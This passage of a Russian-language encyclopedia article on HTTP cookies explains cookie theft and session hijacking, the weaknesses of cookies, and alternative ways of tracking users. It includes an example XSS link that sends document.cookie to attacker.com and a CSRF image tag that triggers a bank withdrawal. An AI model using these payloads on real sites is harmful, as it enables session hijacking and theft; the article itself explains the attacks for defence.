Большинство веб-сайтов используют файлы cookie как единственные идентификаторы для пользовательских сеансов, поскольку другие методы идентификации веб-пользователей имеют ограничения и уязвимости. Если веб-сайт использует файлы cookie в качестве идентификаторов сеанса, злоумышленники могут имитировать запросы пользователей, украв полный набор файлов cookie жертв. С точки зрения веб-сервера, запрос злоумышленника имеет ту же аутентификацию, что и запросы жертвы; таким образом, запрос выполняется от имени сеанса жертвы.

Здесь перечислены различные сценарии кражи файлов cookie и перехвата пользовательских сеансов (даже без кражи пользовательских файлов cookie), которые работают с веб-сайтами, использующими только файлы cookie HTTP для идентификации пользователя.

Подслушивание сети

Файл cookie может быть украден другим компьютером, которому разрешено чтение из сети.

Трафик в сети может быть перехвачен и прочитан компьютерами в сети, отличными от отправителя и получателя (особенно через незашифрованный открытый Wi-Fi ). Этот трафик включает файлы cookie, отправленные в обычных незашифрованных сеансах HTTP . Если сетевой трафик не зашифрован, злоумышленники могут читать сообщения других пользователей в сети, включая файлы cookie HTTP, а также все содержимое разговоров с целью атаки типа «злоумышленник в середине» .

Злоумышленник может использовать перехваченные файлы cookie, чтобы выдать себя за пользователя и выполнить вредоносную задачу, например, перевести деньги с банковского счета жертвы.

Эта проблема может быть решена путем обеспечения безопасности связи между компьютером пользователя и сервером, используя безопасность транспортного уровня ( протокол HTTPS ) для шифрования соединения. Сервер может указать Secureфлаг при установке файла cookie, что приведет к тому, что браузер будет отправлять файл cookie только по зашифрованному каналу, например по TLS-соединению. [43]

Публикация ложного поддомена: отравление кеша DNS

Если злоумышленник может заставить DNS-сервер кэшировать сфабрикованную запись DNS (так называемое отравление DNS-кеша ), то это может позволить злоумышленнику получить доступ к файлам cookie пользователя. Например, злоумышленник может использовать отравление кеша DNS для создания сфабрикованной записи DNS f12345.www.example.com, указывающей на IP-адрес сервера злоумышленника. Затем злоумышленник может опубликовать URL-адрес изображения со своего собственного сервера (например, http://f12345.www.example.com/img_4_cookie.jpg). Жертвы, читающие сообщение злоумышленника, загрузят это изображение из f12345.www.example.com. Поскольку f12345.www.example.comэто поддомен www.example.com, браузеры жертв будут отправлять все example.comсвязанные файлы cookie на сервер злоумышленника.

Если злоумышленник может это сделать, то, как правило, это вина интернет-провайдеров, которые не обеспечивают должной защиты своих DNS-серверов. Однако серьезность этой атаки может быть уменьшена, если целевой веб-сайт использует безопасные файлы cookie. В этом случае злоумышленник столкнется с дополнительной проблемой [73] получения сертификата TLS целевого веб-сайта от центра сертификации , поскольку безопасные файлы cookie могут передаваться только через зашифрованное соединение. Без соответствующего сертификата TLS браузеры жертв будут отображать предупреждающее сообщение о недействительном сертификате злоумышленника, что поможет удержать пользователей от посещения мошеннического веб-сайта злоумышленника и отправки злоумышленнику своих файлов cookie.

Межсайтовый скриптинг: кража файлов cookie

Файлы cookie также могут быть украдены с помощью метода, называемого межсайтовым скриптингом. Это происходит, когда злоумышленник использует веб-сайт, который позволяет своим пользователям публиковать нефильтрованный контент HTML и JavaScript . Размещая вредоносный код HTML и JavaScript, злоумышленник может заставить веб-браузер жертвы отправить файлы cookie жертвы на веб-сайт, контролируемый злоумышленником.

Например, злоумышленник может отправить сообщение по www.example.comследующей ссылке:

< a  href = "#"  onclick = "window.location = 'http://attacker.com/stole.cgi?text=' + escape (document.cookie); return false;" > Щелкните здесь! </ а >
Межсайтовый скриптинг: файл cookie, которым должны обмениваться только сервер и клиент, отправляется другой стороне.

Когда другой пользователь нажимает на эту ссылку, браузер выполняет фрагмент кода в onclickатрибуте, таким образом заменяя строку document.cookieсписком файлов cookie, доступных с текущей страницы. В результате этот список файлов cookie отправляется на attacker.comсервер. Если злонамеренная публикация злоумышленника находится на веб-сайте HTTPS https://www.example.com, защищенные файлы cookie также будут отправлены на сайт attacker.com в виде обычного текста.

Разработчики веб-сайта обязаны отфильтровывать такой вредоносный код.

Такие атаки можно смягчить с помощью файлов cookie HttpOnly. Эти файлы cookie не будут доступны для языков сценариев на стороне клиента, таких как JavaScript, и поэтому злоумышленник не сможет собрать эти файлы cookie.

Межсайтовый скриптинг: запрос прокси

В более старых версиях многих браузеров в реализации API XMLHttpRequest были дыры в безопасности . Этот API позволяет страницам указывать прокси-сервер, который будет получать ответ, и этот прокси-сервер не подчиняется политике одного и того же происхождения . Например, жертва читает сообщение злоумышленника www.example.com, и скрипт злоумышленника выполняется в браузере жертвы. Скрипт формирует запрос к www.example.comпрокси-серверу attacker.com. Поскольку запрос предназначен для www.example.com, все example.comфайлы cookie будут отправляться вместе с запросом, но маршрутизироваться через прокси-сервер злоумышленника. Следовательно, злоумышленник сможет получить файлы cookie жертвы.

Эта атака не будет работать с безопасными файлами cookie, поскольку они могут передаваться только через HTTPS- соединения, а протокол HTTPS требует сквозного шифрования (т. Е. Информация зашифровывается в браузере пользователя и дешифруется на сервере назначения). В этом случае прокси-сервер будет видеть только необработанные зашифрованные байты HTTP-запроса.

Подделка межсайтовых запросов

Например, Боб может просматривать чат-форум, где другой пользователь, Мэллори, разместил сообщение. Предположим, что Мэллори создал элемент изображения HTML, который ссылается на действие на веб-сайте банка Боба (а не на файл изображения), например,

<img  src = "http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" >

Если банк Боба хранит его аутентификационную информацию в файле cookie, и если срок действия файла cookie не истек, то при попытке браузера Боба загрузить изображение будет отправлена ​​форма вывода средств с его файлом cookie, тем самым авторизуя транзакцию без одобрения Боба.

Cookiejacking

Cookiejacking является формой взлома , в котором злоумышленник может получить доступ к сессионным кукам в качестве Internet Explorer пользователя. [74] Обнаруженный Розарио Валотта, исследователем в области интернет- безопасности, эксплойт позволяет злоумышленнику получить cookie с любого сайта и, следовательно, имя пользователя и пароль , заставляя пользователя перетаскивать объект по экрану. [74] Хотя Microsoft считала уязвимость маловероятной из-за «необходимого уровня взаимодействия с пользователем» [74] и необходимости, чтобы пользователь уже вошел на веб-сайт, чей cookie был украден, [75] Валотта смогла использовать аатака социальной инженерии для получения за три дня файлов cookie 80 пользователей Facebook из 150 его друзей. [74]

Недостатки файлов cookie

Помимо проблем с конфиденциальностью, файлы cookie также имеют некоторые технические недостатки. В частности, они не всегда точно идентифицируют пользователей, их можно использовать для атак на систему безопасности, и они часто не соответствуют стилю архитектуры программного обеспечения REST . [76] [77]

Неточная идентификация

Если на компьютере используется более одного браузера, каждый обычно имеет отдельную область для хранения файлов cookie. Следовательно, файлы cookie идентифицируют не человека, а комбинацию учетной записи пользователя, компьютера и веб-браузера. Таким образом, любой, кто использует несколько учетных записей, компьютеров или браузеров, имеет несколько наборов файлов cookie.

Точно так же файлы cookie не делают различий между несколькими пользователями, которые используют одну и ту же учетную запись пользователя , компьютер и браузер.

Несогласованное состояние на клиенте и сервере

Использование файлов cookie может вызвать несоответствие между состоянием клиента и состоянием, сохраненным в файле cookie. Если пользователь получает файл cookie, а затем нажимает кнопку «Назад» в браузере, состояние браузера обычно не такое, как до этого получения. Например, если корзина покупок в интернет-магазине построена с использованием файлов cookie, содержимое корзины может не измениться, когда пользователь вернется в историю браузера: если пользователь нажимает кнопку, чтобы добавить товар в корзину, и затем нажимает кнопку «Назад», товар остается в корзине. Возможно, это не было намерением пользователя, который, возможно, хотел отменить добавление элемента. Это может привести к ненадежности, путанице и ошибкам.Поэтому веб-разработчики должны знать об этой проблеме и принимать меры для разрешения таких ситуаций.

Альтернативы куки

Некоторые операции, которые можно выполнять с помощью файлов cookie, можно также выполнять с помощью других механизмов.

Веб-токены JSON

JSON веб - маркера (JWT) представляет собой автономный пакет информации , который может быть использован для хранения идентификационных данных пользователя и информации о подлинности. Это позволяет использовать их вместо файлов cookie сеанса. В отличие от файлов cookie, которые автоматически прикрепляются браузером к каждому HTTP-запросу, JWT должны быть явно прикреплены к каждому HTTP-запросу веб-приложением.

HTTP-аутентификация

Протокол HTTP включает в себя базовую аутентификацию доступа и протоколы аутентификации дайджест-доступа , которые разрешают доступ к веб-странице только в том случае, если пользователь предоставил правильное имя пользователя и пароль. Если серверу требуются такие учетные данные для предоставления доступа к веб-странице, браузер запрашивает их у пользователя и, после получения, браузер сохраняет и отправляет их в каждом последующем запросе страницы. Эта информация может использоваться для отслеживания пользователя.

айпи адрес

Некоторые пользователи могут быть отслежены на основе IP-адреса компьютера, запрашивающего страницу. Сервер знает IP-адрес компьютера, на котором запущен браузер (или прокси-сервера , если он используется), и теоретически может связать сеанс пользователя с этим IP-адресом.

Однако IP-адреса обычно не являются надежным способом отслеживания сеанса или идентификации пользователя. Многие компьютеры, предназначенные для использования одним пользователем, такие как офисные или домашние ПК, находятся за преобразователем сетевых адресов (NAT). Это означает, что несколько компьютеров будут иметь общий IP-адрес. Кроме того, некоторые системы, такие как Tor , предназначены для сохранения анонимности в Интернете , что делает отслеживание по IP-адресу непрактичным, невозможным или представляет угрозу безопасности.

URL (строка запроса)

Более точный метод основан на встраивании информации в URL-адреса. Строка запроса часть URL является частью , которая обычно используется для этой цели, но и другие части могут быть также использованы. В Java Servlet и PHP сессии механизмы , как использовать этот метод , если куки не включены.

Этот метод состоит из того, что веб-сервер добавляет строки запроса, содержащие уникальный идентификатор сеанса, ко всем ссылкам внутри веб-страницы. Когда пользователь переходит по ссылке, браузер отправляет строку запроса на сервер, позволяя серверу идентифицировать пользователя и поддерживать состояние.

Эти типы строк запроса очень похожи на файлы cookie, поскольку оба содержат произвольные фрагменты информации, выбранные сервером, и оба отправляются обратно на сервер при каждом запросе. Однако есть некоторые отличия. Поскольку строка запроса является частью URL-адреса, при повторном использовании этого URL-адреса на сервер будет отправлена ​​та же прикрепленная часть информации, что может привести к путанице. Например, если предпочтения пользователя закодированы в строке запроса URL-адреса, и пользователь отправляет этот URL-адрес другому пользователю по электронной почте , эти предпочтения будут использоваться и для этого другого пользователя.

Более того, если один и тот же пользователь обращается к одной и той же странице несколько раз из разных источников, нет гарантии, что одна и та же строка запроса будет использоваться каждый раз. Например, если пользователь посещает страницу, перейдя со страницы, находящейся внутри сайта, в первый раз, а затем посещает ту же страницу, перейдя из внешней поисковой системы во второй раз, строки запроса, вероятно, будут другими. Если бы в этой ситуации использовались файлы cookie, они были бы такими же.

Другие недостатки строк запроса связаны с безопасностью. Сохранение данных, которые идентифицируют сеанс в строке запроса, позволяет использовать атаки фиксации сеанса, атаки с регистрацией рефереров и другие уязвимости безопасности . Передача идентификаторов сеансов в виде файлов cookie HTTP более безопасна.

Скрытые поля формы

Еще одна форма отслеживания сеансов - использование веб-форм со скрытыми полями. Этот метод очень похож на использование строк запроса URL для хранения информации и имеет многие из тех же преимуществ и недостатков. Фактически, если форма обрабатывается с помощью метода HTTP GET, этот метод аналогичен использованию строк запроса URL, поскольку метод GET добавляет поля формы к URL в виде строки запроса. Но большинство форм обрабатываются с помощью HTTP POST, в результате чего информация формы, включая скрытые поля, отправляется в теле HTTP-запроса, которое не является частью URL-адреса или файла cookie.

Такой подход дает два преимущества с точки зрения трекера. Во-первых, наличие отслеживающей информации, размещенной в теле HTTP-запроса, а не в URL-адресе, означает, что средний пользователь не заметит ее. Во-вторых, информация о сеансе не копируется, когда пользователь копирует URL-адрес (например, чтобы добавить страницу в закладки или отправить ее по электронной почте).

"window.name" свойство DOM

Все современные веб-браузеры могут хранить довольно большой объем данных (2–32 МБ) с помощью JavaScript, используя свойство DOMwindow.name . Эти данные могут использоваться вместо файлов cookie сеанса, а также являются междоменными. Этот метод может быть объединен с объектами JSON / JavaScript для хранения сложных наборов переменных сеанса [78] на стороне клиента.

Обратной стороной является то, что каждое отдельное окно или вкладка изначально будет иметь пустое window.nameсвойство при открытии. Кроме того, это свойство можно использовать для отслеживания посетителей на разных веб-сайтах, что создает угрозу конфиденциальности в Интернете .

В некоторых отношениях это может быть более безопасно, чем файлы cookie, поскольку их содержимое не отправляется автоматически на сервер при каждом запросе, как файлы cookie, поэтому он не уязвим для атак с использованием сетевых файлов cookie. Однако, если не принять специальных мер для защиты данных, они уязвимы для других атак, поскольку данные доступны на разных веб-сайтах, открытых в одном окне или на одной вкладке.

Идентификатор для рекламодателей

Apple использует метод отслеживания, который называется «идентификатор для рекламодателей» ( IDFA ). Этот метод присваивает уникальный идентификатор каждому пользователю, который покупает устройство Apple iOS (например, iPhone или iPad). Затем этот идентификатор используется рекламной сетью Apple, iAd , для определения рекламы, которую люди просматривают и на которые отвечают. [79]

ETag

Поскольку ETag кэшируются браузером и возвращаются с последующими запросами для того же ресурса, сервер отслеживания может просто повторять любой ETag, полученный от браузера, чтобы гарантировать, что назначенный ETag сохраняется бесконечно (аналогично постоянным файлам cookie). Дополнительные заголовки кэширования также могут улучшить сохранность данных ETag.

В некоторых браузерах ETag можно сбросить, очистив кеш браузера .

веб-хранилище

Некоторые веб-браузеры поддерживают механизмы сохранения, которые позволяют странице хранить информацию локально для дальнейшего использования.

Стандарт HTML5 (который в некоторой степени поддерживают большинство современных веб-браузеров) включает JavaScript API, называемый веб-хранилищем, который позволяет использовать два типа хранилища: локальное хранилище и хранилище сеансов. Локальное хранилище ведет себя аналогично постоянным файлам cookie, в то время как хранилище сеанса ведет себя аналогично файлам cookie сеанса , за исключением того, что хранилище сеанса привязано к времени жизни отдельной вкладки / окна (также известное как сеанс страницы), а не ко всему сеансу браузера, как сеансовые файлы cookie. [80]

Internet Explorer поддерживает постоянную информацию [81] в истории браузера, в избранном браузере, в хранилище XML («данные пользователя») или непосредственно на веб-странице, сохраненной на диске.

Некоторые плагины веб-браузера также включают механизмы сохранения. Например, Adobe Flash имеет локальный общий объект, а Microsoft Silverlight - изолированное хранилище. [82]

Кеш браузера

Кэш браузера также можно использовать для хранения информации, которую можно использовать для отслеживания отдельных пользователей. Этот метод использует тот факт, что веб-браузер будет использовать ресурсы, хранящиеся в кэше, вместо того, чтобы загружать их с веб-сайта, когда он определяет, что в кеше уже есть самая последняя версия ресурса.

Например, веб-сайт может обслуживать файл JavaScript с кодом, который устанавливает уникальный идентификатор для пользователя (например, var userId = 3243242;). После первого посещения пользователя каждый раз, когда пользователь обращается к странице, этот файл будет загружаться из кеша, а не с сервера. Таким образом, его содержание никогда не изменится.

Отпечаток браузера

Браузер отпечатков пальцев является собранной информацией о конфигурации браузера, таких как номер версии, разрешение экрана, и операционной системы, с целью идентификации. Отпечатки пальцев можно использовать для полной или частичной идентификации отдельных пользователей или устройств, даже если файлы cookie отключены.

Базовая информация о конфигурации веб-браузера уже давно собирается службами веб-аналитики, чтобы точно измерить реальный человеческий веб-трафик и учесть различные формы мошенничества с кликами . С помощью языков сценариев на стороне клиента возможен сбор гораздо более эзотерических параметров. [83] [84] Ассимиляция такой информации в одну строку содержит отпечаток устройства. В 2010 году EFF измерил не менее 18,1 бит энтропии, возможной при снятии отпечатков пальцев браузера. [85] Отпечатки на холсте , более новый метод, утверждают, что добавляют еще 5,7 бит.

Смотрите также

  • Динамический HTML
  • Enterprise JavaBeans
  • Сессия (информатика)
  • Безопасный куки
  • HTTP Strict Transport Security § Проблемы конфиденциальности

Рекомендации

  1. ^ Vamosi, Роберт (2008-04-14). «Файл cookie Gmail украден через таблицы Google» . News.cnet.com . Архивировано 9 декабря 2013 года . Проверено 19 октября 2017 года .
  2. ^ "А как насчет" Директивы ЕС о файлах cookie "?" . WebCookies.org. 2013. Архивировано 11 октября 2017 года . Проверено 19 октября 2017 года .
  3. ^ «Новые сетевые правила, заставляющие куки рассыпаться» . BBC . 2011-03-08. Архивировано 10 августа 2018 года . Проверено 21 июня 2018 .
  4. ^ «Сенатор Рокфеллер: приготовьтесь к реальным законопроектам о запрете отслеживания интернет-рекламы» . Adage.com . 2011-05-06. Архивировано 24 августа 2011 года . Проверено 2 июня 2011 .
  5. ^ Хотите использовать мой Wi-Fi? Архивировано 4 января 2018 г. в Wayback Machine , Янн Хорн, дата обращения 5 января 2018 г.
  6. ^ "Откуда cookie: :: DominoPower" . dominopower.com . Архивировано 19 октября 2017 года . Проверено 19 октября 2017 года .
  7. ^ Раймонд, Эрик (ред.). «волшебное печенье» . Файл жаргона (версия 4.4.7) . Архивировано 6 сентября 2017 года . Проверено 8 сентября 2017 года .CS1 maint: дополнительный текст: список авторов ( ссылка )
  8. ^ Шварц, Джон (2001-09-04). «Предоставление Интернету памяти стоит его пользователям конфиденциальности» . Нью-Йорк Таймс . Архивировано 26 августа 2011 года . Проверено 19 февраля 2017 .
  9. ^ а б Кесан, Джей; и Шах, Раджив; Deconstructing Code. Архивировано 7 февраля 2007 г. в Wayback Machine , SSRN.com, глава II.B (файлы cookie Netscape), Yale Journal of Law and Technology, 6, 277–389
  10. ^ а б Кристол, Дэвид; Файлы cookie HTTP: стандарты, конфиденциальность и политика , Транзакции ACM по Интернет-технологиям, 1 (2), 151–198, 2001 doi : 10.1145 / 502152.502153 (расширенная версия находится в свободном доступе на [https://web.archive.org/] web / 20140716051321 / http: //arxiv.org/abs/cs.SE/0105018 Архивировано 16 июля 2014 г. на Wayback Machine arXiv: cs / 0105018v1 [cs.SE]])
  11. ^ "Пресс-релиз: Netscape Communications предлагает новый сетевой навигатор бесплатно в Интернете" . Архивировано из оригинала на 2006-12-07 . Проверено 22 мая 2010 .
  12. ^ "Сообщение Usenet от Марка Андреессена: Вот оно, мир!" . 1994-10-13. Архивировано 27 апреля 2011 года . Проверено 22 мая 2010 .
  13. ^ Kristol, Дэвид М. (ноябрь 2001). «Файлы cookie HTTP» . ACM-транзакции по Интернет-технологиям . 1 (2): 151–198. arXiv : cs / 0105018 . DOI : 10.1145 / 502152.502153 . ISSN 1533-5399 . S2CID 1848140 .  
  14. ^ Hardmeier, Санди (2005-08-25). «История Internet Explorer» . Microsoft. Архивировано 01.10.2005 . Проверено 4 января 2009 .
  15. ^ Джексон, Т (1996-02-12). «Эта ошибка на вашем компьютере - интеллектуальный файл cookie». Financial Times .
  16. ^ «Настройка файлов cookie» . Staff.washington.edu . 19 июня 2009 года. Архивировано 16 марта 2017 года . Проверено 15 марта 2017 года .
  17. ^ В документации edbrowse версии 3.5 сказано: «Обратите внимание, что поддерживаются только файлы cookie в стиле Netscape. Однако это наиболее распространенный вид файлов cookie. Он, вероятно, удовлетворит ваши потребности». Этот пункт был удален в более поздних версиях документации архивной 2017-03-16 в Wayback Machine далее RFC 2965 устаревания «s.
  18. ^ Ходжес, Джефф; Корри, Бил (6 марта 2011 г.). « Механизм HTTP Государственное управление“для предложенного стандарта» . Практика безопасности . Архивировано 7 августа 2016 года . Дата обращения 17 июня 2016 .
  19. ^ Описание службы поддержки Майкрософт постоянных и сеансовых файлов cookie в Internet Explorer, заархивировано 25 сентября 2011 г.на Wayback Machine ID статьи 223799, 2007 г.
  20. ^ «Поддержание состояния сеанса с помощью файлов cookie» . Сеть разработчиков Microsoft . Архивировано 14 октября 2012 года . Проверено 22 октября 2012 года .
  21. ^ " ' SameSite' атрибут печенье, платформы Chrome ОСТОЯНИЕ" . Chromestatus.com . Архивировано 9 мая 2016 года . Проверено 23 апреля 2016 .
  22. ^ Гудвин, М .; Запад. «Файлы cookie того же сайта draft-ietf-httpbis-cookie-same-site-00» . tools.ietf.org . Архивировано 16 августа 2016 года . Проверено 28 июля 2016 .
  23. ^ https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/
  24. ^ https://www.lambdatest.com/SameSite-cookie-attribute
  25. ^ https://blog.chromium.org/2020/02/samesite-cookie-changes-in-feb February.html
  26. ^ https://blog.chromium.org/2020/04/tempoporary-rolling-back-samesite.html
  27. ^ «Сторонние домены» . WebCookies.org. Архивировано 9 декабря 2014 года . Проверено 7 декабря 2014 .
  28. ^ «Количество файлов cookie» . WebCookies.org. Архивировано 9 декабря 2014 года . Проверено 7 декабря 2014 .
  29. ^ Статт, Ник (2020-03-24). «Apple обновляет технологию защиты от отслеживания Safari, добавляя полную блокировку сторонних файлов cookie» . Грань . Проверено 24 июля 2020 .
  30. ^ «Firefox по умолчанию начинает блокировать сторонние файлы cookie» . VentureBeat . 2019-06-04 . Проверено 24 июля 2020 .
  31. ^ Храбрый (06.02.2020). «Окей, Google, не откладывайте реальную конфиденциальность браузера до 2022 года» . Смелый браузер . Проверено 24 июля 2020 .
  32. ^ Protalinski, Эмиль (19 мая 2020). «Chrome 83 поставляется с измененными настройками безопасности, сторонние файлы cookie заблокированы в режиме инкогнито» . VentureBeat . VentureBeat . Проверено 25 июня 2020 года .
  33. ^ Вторник, Сара Слуис //; 14 января; Ам, 2020-11: 00 (2020-01-14). "Google Chrome откажется от сторонних файлов cookie через 2 года" . AdExchanger . Проверено 24 июля 2020 .CS1 maint: числовые имена: список авторов ( ссылка )
  34. ^ «Узнайте больше о публичном списке суффиксов» . Publicsuffix.org . Архивировано 14 мая 2016 года . Проверено 28 июля +2016 .
  35. Майер, Джонатан (19 августа 2011 г.). «Отслеживание трекеров: реклама Microsoft» . Центр Интернета и общества. Архивировано 26 сентября 2011 года . Проверено 28 сентября 2011 года .
  36. ^ Виджаян, Jaikumar. «Microsoft отключает« супер-куки », используемые посетителями MSN.com» . Архивировано 27 ноября 2014 года . Проверено 23 ноября 2014 года .
  37. Стивен Энглхардт и Артур Эдельштейн (26 января 2021 г.). «Firefox 85 уничтожает супер-файлы cookie» .CS1 maint: использует параметр авторов ( ссылка )
  38. ^ Тигас, Джулия Энгвин, Майк. «Зомби-куки: отслеживающие куки-файлы, которых нельзя убить» . ProPublica . Проверено 1 ноября 2020 .
  39. ^ 11 июня, Конрад Штольце |; Образование | 0, 2011 | (11.06.2011). "Печенье, которое не рассыпается!" . Журнал 24x7 . Проверено 1 ноября 2020 .CS1 maint: числовые имена: список авторов ( ссылка )
  40. ^ Пэн, Вэйхун; Цисна, Дженнифер (2000). «Файлы cookie HTTP, многообещающая технология». Proquest . Обзор онлайн-информации. ProQuest 194487945 .  Отсутствует или пусто |url=( справка )
  41. ^ Джим Манико цитирует Дэниела Стенберга, Ограничения длины файлов cookie в реальном мире. Архивировано 2 июля 2013 г.в Wayback Machine.
  42. ^ Рейни, Lee (2012). Сеть: новая социальная операционная система. п. 237
  43. ^ a b Механизм управления состоянием HTTP IETF , апрель 2011 г. Устаревший RFC 2965
  44. ^ «Постоянные файлы cookie HTTP состояния клиента: предварительная спецификация» . Netscape. c. 1999. Архивировано из оригинала на 2007-08-05.
  45. ^ "Свойство cookie" . MSDN . Microsoft. Архивировано 05 апреля 2008 года . Проверено 4 января 2009 .
  46. ^ Шеннон, Росс (2007-02-26). «Файлы cookie, установка и получение информации о ваших читателях» . HTMLSource. Архивировано 26 августа 2011 года . Проверено 4 января 2009 .
  47. ^ «Механизм управления состоянием HTTP, атрибут пути» . IETF . Март 2014. Архивировано 01.05.2011 . Проверено 12 мая 2011 .
  48. ^ «RFC 6265, Механизм управления состоянием HTTP, соответствие домена» . IETF . Март 2014. Архивировано 01.05.2011 . Проверено 12 мая 2011 .
  49. ^ «RFC 6265, Механизм управления состоянием HTTP, Атрибут домена» . IETF . Март 2014. Архивировано 01.05.2011 . Проверено 12 мая 2011 .
  50. ^ «Внутренние компоненты файлов cookie Internet Explorer (FAQ)» . 21 ноября 2018.
  51. ^ «RFC 2109, Механизм управления состоянием HTTP, синтаксис Set-Cookie» . IETF . Март 2014. В архиве с оригинала на 2014-03-13 . Проверено 4 марта 2014 .
  52. ^ "RFC 6265, HTTP State Management Mechanism" . ietf.org . Архивировано 01 мая 2011 года . Проверено 12 мая 2011 .
  53. ^ «Совместимость спецификации файлов cookie в современных браузерах» . inikulin.github.io . 2016. Архивировано 2 октября 2016 года . Проверено 30 сентября 2016 .
  54. ^ Коулз, Питер. «HTTP-файлы cookie: в чем разница между Max-age и Expires? - Питер Коулз» . Mrcoles.com . Архивировано 29 июля 2016 года . Проверено 28 июля +2016 .
  55. ^ «Отчет Symantec об угрозах безопасности в Интернете: тенденции за июль – декабрь 2007 г. (Краткое содержание)» (PDF) . XIII . Symantec Corp. Апрель 2008 г.: 1–3. Архивировано 25 июня 2008 года (PDF) . Проверено 11 мая 2008 года . Цитировать журнал требует |journal=( помощь )
  56. Уэлен, Дэвид (8 июня 2002 г.). «Часто задаваемые вопросы о неофициальных файлах cookie, версия 2.6» . Cookie Central. Архивировано 26 августа 2011 года . Проверено 4 января 2009 .
  57. ^ «Сторонние файлы cookie, хранилище DOM и конфиденциальность» . grack.com: блог Мэтта Мастраччи. 6 января 2010 года. Архивировано 24 ноября 2010 года . Проверено 20 сентября 2010 .
  58. ^ «Как управлять файлами cookie в Internet Explorer 6» . Microsoft. 18 декабря 2007 года. Архивировано 28 декабря 2008 года . Проверено 4 января 2009 .
  59. ^ «Очистка личных данных» . База знаний поддержки Firefox . Mozilla. 16 сентября 2008 года. Архивировано 3 января 2009 года . Проверено 4 января 2009 .
  60. ^ «Очистить личную информацию: очистить данные просмотра» . Справка Google Chrome . Архивировано 11 марта 2009 года . Проверено 4 января 2009 .
  61. ^ «Очистить личную информацию: удалить файлы cookie» . Справка Google Chrome . Архивировано 11 марта 2009 года . Проверено 4 января 2009 .
  62. ^ "Site Compatibility for Firefox 22" , Mozilla Developer Network , 2013-04-11, заархивировано из оригинала 27.05.2013 , извлечено 11.04.2013
  63. ^ Миядзаки, Энтони Д. (2008), «Конфиденциальность в Интернете и раскрытие информации об использовании файлов cookie: влияние на доверие потребителей и ожидаемое покровительство», Журнал государственной политики и маркетинга, 23 (весна), 19–33
  64. ^ «ЦРУ поймали крадущиеся куки» . CBS News . 2002-03-20. Архивировано 26 августа 2011 года . Проверено 2 января 2006 .
  65. ^ «Шпионское агентство удаляет незаконные файлы отслеживания» . Нью-Йорк Таймс . 2005-12-29. Архивировано 26 августа 2011 года . Проверено 19 февраля 2017 .
  66. ^ «Директива ЕС о файлах cookie, Директива 2009/136 / EC» . Правовая информация JISC. Архивировано 18 декабря 2012 года . Проверено 31 октября 2012 года .
  67. ^ a b c Правила конфиденциальности и электронной связи . Офис уполномоченного по информации. 2012. Архивировано из оригинала на 2012-10-30 . Проверено 31 октября 2012 .
  68. ^ «Директива 95/46 / EC Европейского парламента и Совета от 24 октября 1995 г. о защите физических лиц в отношении обработки персональных данных и о свободном перемещении таких данных» . Официальный журнал (L) : 0031–0050. 1995-11-23. Архивировано 27 сентября 2012 года . Проверено 31 октября 2012 года .
  69. ^ «Новый закон ЕС о файлах cookie (Директива об электронной конфиденциальности)» . Архивировано из оригинального 24 февраля 2011 года . Проверено 31 октября 2012 года .
  70. ^ «Закон ЕС о файлах cookie: прекратите ныть и продолжайте» . Проводная Великобритания . 2012-05-24. Архивировано 15 ноября 2012 года . Проверено 31 октября 2012 года .
  71. ^ a b «Лазейка, достаточно большая для печенья» . Биты . Нью-Йорк Таймс. 2010-09-17. Архивировано 26 января 2013 года . Проверено 31 января 2013 года .
  72. ^ Pegoraro, Rob (17 июля 2005). «Как заблокировать отслеживающие файлы cookie» . Вашингтон Пост . п. F07. Архивировано 27 апреля 2011 года . Проверено 4 января 2009 .
  73. ^ Wired Hack получил 9 поддельных сертификатов для известных веб-сайтов, заархивированных 2014-03-26 на Wayback Machine
  74. ^ a b c d Финкль, Джим (25 мая 2011 г.). «Последняя угроза безопасности Microsoft:« Cookiejacking » » . Рейтер . Архивировано 30 мая 2011 года . Проверено 26 мая 2011 года .
  75. ^ Уитни, Лэнс (2011-05-26). «Исследователь безопасности обнаружил риск« взлома cookie »в IE» . CNET . Архивировано из оригинального 14 июня 2011 года . Дата обращения 6 сентября 2019 .
  76. ^ Филдинг, Рой (2000). "Филдинг Диссертация: ГЛАВА 6: Опыт и оценка" . Архивировано 27 апреля 2011 года . Проверено 14 октября 2010 .
  77. ^ Tilkov, Стефан (2 июля 2008). "Антипаттерны REST" . InfoQ. Архивировано 23 декабря 2008 года . Проверено 4 января 2009 .
  78. ^ "ThomasFrank.se" . ThomasFrank.se. Архивировано 15 мая 2010 года . Проверено 22 мая 2010 .
  79. ^ «Файл cookie мертв. Вот как Facebook, Google и Apple отслеживают вас сейчас, VentureBeat, Mobile, Ричард Бирн Рейли» . VentureBeat . 2014-10-06. Архивировано 24 июля 2017 года . Проверено 31 августа 2017 .
  80. ^ "Window.sessionStorage, веб-API | MDN" . developer.mozilla.org . Архивировано 28 сентября 2015 года . Дата обращения 2 октября 2015 .
  81. ^ «Введение в настойчивость» . microsoft.com . Microsoft. Архивировано 11 января 2015 года . Проверено 9 октября 2014 .
  82. ^ "Изолированное хранилище" . Microsoft.com . Архивировано 16 декабря 2014 года . Проверено 9 октября 2014 .
  83. ^ "BrowserSpy" . gemal.dk. Архивировано 26 сентября 2008 года . Проверено 28 января 2010 .
  84. ^ Поведение по умолчанию "IE" [sic] "тесты раскрытия информации браузера: clientCaps" . Mypage.direct.ca. Архивировано 05 июня 2011 года . Проверено 28 января 2010 .
  85. ^ Eckersley, Питер (17 мая 2010). "Насколько уникален ваш веб-браузер?" (PDF) . eff.org . Фонд электронных рубежей. Архивировано из оригинального (PDF) 15 октября 2014 года . Проверено 23 июля 2014 года .

Эта статья основана на материалах, взятых из Free On-line Dictionary of Computing до 1 ноября 2008 г. и включенных в соответствии с условиями «перелицензирования» GFDL версии 1.3 или новее.

Источники

  • Аноним, 2011. Атака Cookiejacking ворует учетные данные для доступа к веб-сайту. Informationweek - Online, стр. Informationweek - Online, 26 мая 2011 г.

внешняя ссылка

Послушайте эту статью ( 1 час 1 минута )
Разговорный значок Википедии
Этот аудиофайл был создан на основе редакции этой статьи от 28 мая 2016 г. и не отражает последующих правок. ( 2016-05-28 )
  • RFC 6265 , текущая официальная спецификация для файлов cookie HTTP
  • HTTP-файлы cookie , Сеть разработчиков Mozilla
  • Использование файлов cookie через ECMAScript , сеть разработчиков Mozilla
  • Как работают файлы cookie в Интернете в HowStuffWorks
  • Файлы cookie в Электронном информационном центре конфиденциальности (EPIC)
  • База знаний Mozilla: файлы cookie
